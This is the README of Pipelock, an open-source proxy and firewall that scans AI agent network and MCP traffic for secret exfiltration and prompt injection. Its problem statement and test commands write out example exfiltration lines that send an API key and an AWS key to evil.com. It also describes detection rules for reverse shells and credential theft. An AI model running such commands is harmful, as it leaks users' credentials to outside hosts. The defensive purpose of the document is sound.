Pipelock

Pipelock

Open-source AI agent firewall for Verifiable Egress Control (VEC). Pipelock sits between AI agents and the network and inspects the actual content crossing every mediated transport — HTTP, WebSocket, CONNECT, MCP, and A2A — for secret exfiltration, prompt injection, and SSRF, then emits mediator-signed action receipts that third parties can verify outside the agent runtime. The detections are exercised by a public adversarial benchmark anyone can run (agent-egress-bench). Learn more: Open-source AI firewall.

The receipt proves a content-aware decision — not a blind one. A signed receipt is only as good as what the signature is over: a decision made without inspecting the content is a notarized blind spot. Pipelock signs each receipt over a content-aware decision, from a mediator outside the agent process and outside its credentials, so a verifier can reason about the traffic that actually crossed the Pipelock boundary without trusting the agent or the vendor.

Covers MCP security, agent egress security, DLP for AI agents, and prompt injection defense. Pipelock acts as an agent egress proxy for wrapped outbound HTTP, WebSocket, and MCP traffic, with bidirectional MCP scanning, 65 credential patterns, and 29 injection patterns with 6-pass normalization.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

[Quick Start](#quick-start) · [What It Does](#what-it-does) · [Docs](docs/) · Blog · Ask Dosu

The Problem

Your AI agent has $ANTHROPIC_API_KEY in its environment, plus shell access. One request is all it takes:

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes (HTTP requests, tool calls, browser sessions) should cross a boundary between your secrets and the open internet. Pipelock sits at that boundary when the agent is routed through its proxy, MCP wrapper, or containment topology. It scans mediated outbound and inbound requests, blocks exfiltration and injection, sandboxes the agent process where configured, and generates signed evidence of what happened.

Quick Start

# Install
brew install luckyPipewrench/tap/pipelock

# Set up (discovers IDE configs, generates config, verifies detection)
pipelock init

# Test it
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed

Other install methods

# Download a binary (no dependencies)
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# From source (requires Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

Verify release integrity (SLSA provenance + SBOM)

gh attestation verify pipelock_*_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock: --owner luckyPipewrench

What It Does

Pipelock is an AI egress proxy and MCP security control: it sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for independent attestation.

11-Layer URL Scanner

Every request passes through: scheme validation, CRLF injection detection, path traversal blocking, domain blocklist, DLP pattern matching (65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment variable secrets, and financial identifiers with checksum validation), path entropy analysis, subdomain entropy analysis, SSRF protection with DNS rebinding prevention, per-domain rate limiting, URL length limits, and per-domain data budgets.

DLP runs before DNS resolution, designed to catch secrets before any DNS query leaves the proxy. BIP-39 seed phrase detection uses a dedicated scanner with dictionary lookup, sliding window matching, and SHA-256 checksum validation to catch cryptocurrency mnemonic exfiltration across all transport surfaces.

See [docs/bypass-resistance.md](docs/bypass-resistance.md) for the full evasion test matrix.

Process Sandbox

Unprivileged process containment using OS-native kernel primitives. On Linux: Landlock LSM restricts filesystem access, seccomp filters dangerous syscalls, and network namespaces force all traffic through pipelock's scanner (no direct egress). On macOS: sandbox-exec profiles restrict filesystem and network. In containers, use --best-effort for Landlock + seccomp containment when namespace creation is restricted (network scanning uses proxy-based routing instead of kernel enforcement).

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py  # containers
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Response Scanning

Fetched content is scanned for prompt injection and state/control poisoning before reaching the agent. A 6-pass normalization pipeline catches zero-width character evasion, homoglyph substitution, leetspeak encoding, and base64-wrapped payloads. 29 built-in patterns cover jailbreak phrases, instruction manipulation, credential solicitation, memory persistence, preference poisoning, covert action directives, model instruction boundaries, and CJK-language instruction overrides. Actions: block, strip, warn, or ask (human-in-the-loop terminal approval).

text/event-stream responses (OpenAI chat completions, Anthropic messages, Kilo Gateway, MCP HTTP/SSE) stream through with per-event and rolling cross-event DLP and injection scanning so token-by-token LLM chat UX is preserved while body scanning stays on. Clean events flush immediately; a detection terminates the stream fail-closed. Compressed SSE streams are rejected since compressed bytes evade regex matching. See [SSE streaming guide](docs/guides/sse-streaming.md).

Request Body Scanning

Outbound request bodies and headers are scanned before they leave the protected agent path. Body scanning covers JSON keys and values, ordered multi-field JSON payloads, form-encoded bodies, raw text, reverse-proxy requests, intercepted CONNECT traffic, and outbound WebSocket client frames. In enforce mode, critical DLP findings and prompt-injection findings hard-block non-provider destinations with X-Pipelock-Block-Reason even when request_body_scanning.action: warn; provider exemptions still use the existing wildcard-aware response-scanning exemption list.

Request Redaction

Optional request-side redaction rewrites matched JSON values before they leave the agent. The same matcher covers HTTP request bodies, outbound WebSocket client messages, and MCP tools/call params.arguments across stdio, HTTP/SSE, and WebSocket transports. Replacements are typed placeholders such as ``, and signed action receipts record only the active profile plus per-class counts.

MCP Proxy

Wraps any MCP server with bidirectional scanning. Three transport modes: stdio subprocess wrapping, Streamable HTTP bridging, and HTTP reverse proxy. Scans both directions: client requests checked for DLP leaks, server responses scanned for injection, and tools/list responses checked for poisoned descriptions and mid-session rug-pull changes.

# Wrap a local MCP server (stdio)
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Proxy a remote MCP server (HTTP)
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Combined mode (fetch/forward proxy + MCP on separate ports)
pipelock run --config pipelock.yaml --mcp-listen 0.0.0.0:8889 --mcp-upstream http://localhost:3000/mcp

MCP Tool Policy

Pre-execution rules that block dangerous tool calls before they reach MCP servers. Ships with 17 built-in rules covering destructive operations, credential access, reverse shells, persistence mechanisms, and encoded command execution. Shell obfuscation detection is built-in. v2.0 adds a redirect action that routes dangerous operations through audited wrappers instead of blocking outright.

Tool Call Chain Detection

Detects attack patterns in sequences of MCP tool calls. Ships with 10 built-in patterns covering reconnaissance, credential theft, data staging, persistence, and exfiltration chains. Uses subsequence matching with configurable gap tolerance, so inserting innocent calls between attack steps doesn't evade detection.

Kill Switch

Emergency deny-all with four independent activation sources: config file, SIGUSR1, sentinel file, and remote API. Any one active blocks all traffic. The API can run on a separate port so agents can't deactivate their own kill switch.

# Activate from operator machine
curl -X POST http://localhost:9090/api/v1/killswitch \
  -H "Authorization: Bearer TOKEN" -d '{"active": true}'

Scan API

Evaluation endpoint for programmatic scanning. Any tool, pipeline, or control plane can submit URLs, text, or tool calls and get a structured verdict back (the proxy doesn't need to be in the request path). Four scan kinds: url, dlp, prompt_injection, and tool_call. Returns findings with scanner type, rule ID, and severity. Bearer token auth, per-token rate limiting, and Prometheus metrics.

See [docs/scan-api.md](docs/scan-api.md) for the full API reference.

Address Protection

Detects blockchain address poisoning attacks where a lookalike address is substituted for a legitimate one. Validates addresses for ETH, BTC, SOL, and BNB chains, compares against a user-supplied allowlist, and flags similar addresses using prefix/suffix fingerprinting. Designed for agents that interact with DeFi protocols or execute transactions.

Filesystem Sentinel

Monitors agent working directories for secrets written to disk. When an MCP subprocess writes a file containing credentials, pipelock detects it using the same DLP patterns applied to network traffic. On Linux, process lineage tracking attributes file writes to the agent's process tree. See [docs/guides/filesystem-sentinel.md](docs/guides/filesystem-sentinel.md).

Event Emission

Forward audit events to external systems (SIEM, webhook receivers, syslog). Events are fire-and-forget and never block the proxy. Each event includes a MITRE ATT&CK technique ID where applicable (T1048 for exfiltration, T1059 for injection, T1195.002 for supply chain).

See [docs/guides/siem-integration.md](docs/guides/siem-integration.md) for log schema, forwarding patterns, and example SIEM queries.

Security Assessment

pipelock assess runs a four-stage security assessment against your deployment: attack simulation across DLP, prompt injection, tool poisoning, URL evasion, address poisoning, seed-phrase, skill poisoning, and split-payload categories; a config audit covering every shipped detection surface (DLP, MCP transport, contract gate, redaction, browser shield, mediation envelope, flight recorder, request body, cross-request, address protection, seed-phrase, git protection, file sentry); deployment verification (live probe of scanning and containment); and MCP server discovery (protection status across Claude Code, Cursor, VS Code, and other clients).

Critical exposures like unprotected MCP servers cap the grade regardless of numeric score.

pipelock assess init --config pipelock.yaml
pipelock assess run assessment-a1b2c3d4/
pipelock assess finalize assessment-a1b2c3d4/

The free summary shows your grade, section scores, and top findings. Licensed users get the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.

Flight Recorder

Hash-chained JSONL evidence log with Ed25519-signed checkpoints and DLP redaction. On by default — pipelock init provisions a recorder directory and signing key so a stock install produces verifiable evidence out of the box (the recorder stays inert until a dir and key exist, so the default never breaks an existing config). Every proxy decision is recorded as a tamper-evident entry linked to the previous one. Action receipts provide cryptographically signed proof of each mediated action (what happened, what the verdict was, which policy was active), and request-side rewrites add a compact redaction summary block instead of storing plaintext secrets. Verify any receipt independently with pipelock verify-receipt --key (an unpinned run is structural-only and exits non-zero unless you pass --allow-unpinned).

Canary Tokens

Synthetic secrets injected into the agent's environment. If pipelock detects a canary in outbound traffic, it proves the agent (or something in its chain) is exfiltrating environment variables. Ships with pipelock canary to generate config snippets.

More Features

| Feature | What It Does | |---------|-------------| | Audit Reports | pipelock report --input events.jsonl generates HTML/JSON reports with risk rating, timeline, and evidence appendix. Ed25519 signing with --sign. ([Sample report](examples/sample-report.html)) | | Diagnose | pipelock diagnose runs 7 local checks to verify your config works end-to-end (no network required) | | Enforcement Doctor (v2.5) | pipelock doctor reports configured-vs-enforceable status for proxying, TLS interception, request-body scanning, Browser Shield, MCP wrapping, MCP binary integrity, tool provenance, file_sentry, Sentry, and deployment-boundary signals. | | Request Body Injection Blocking (v2.5) | Request-body prompt-injection and critical-DLP findings hard-block non-provider destinations in enforce mode across forward, reverse, TLS-intercept, and WebSocket transports, with block-reason headers for operator-visible diagnosis. | | Request Policy (v2.6) | Allow-by-default deny/warn rails on outbound API operations: match a request on route plus a GraphQL operation predicate and block the dangerous ones. Enforces across every HTTP egress transport, recurses into JSON $batch envelopes, fails closed on unparseable or opaque bodies, and runs before the contract gate. See the [request policy guide](docs/guides/request-policy.md). | | TLS Interception | Optional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. pipelock tls init generates a CA, then pipelock tls install-ca trusts it system-wide. | | Block Hints | Opt-in explain_blocks: true adds fix suggestions to blocked responses | | Project Audit | pipelock audit ./project scans for security risks and generates a tailored config | | Config Scoring (v2.6) | pipelock audit score --config pipelock.yaml evaluates security posture across 23 categories with a 170-point budget and letter grade. Flags overpermissive tool policies and stale coverage across newly shipped detection surfaces. | | File Integrity | SHA256 manifests detect modified, added, or removed workspace files | | Git Protection | git diff \| pipelock git scan-diff catches secrets before they're committed | | Ed25519 Signing | Key management, file signing, and signature verification for multi-agent trust | | Session Profiling | Per-session behavioral analysis (domain bursts, volume spikes) | | Adaptive Enforcement | Per-session threat score with automatic escalation from warn to block, de-escalation timers, and domain burst detection | | Adaptive Operator CLI (v2.5) | pipelock adaptive status / flush / whoami exposes runtime ad

…

Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: luckyPipewrench
• Source: luckyPipewrench/pipelock
• License: Apache-2.0
• Homepage: https://pipelab.org

Install and usage instructions live in the source repository linked above.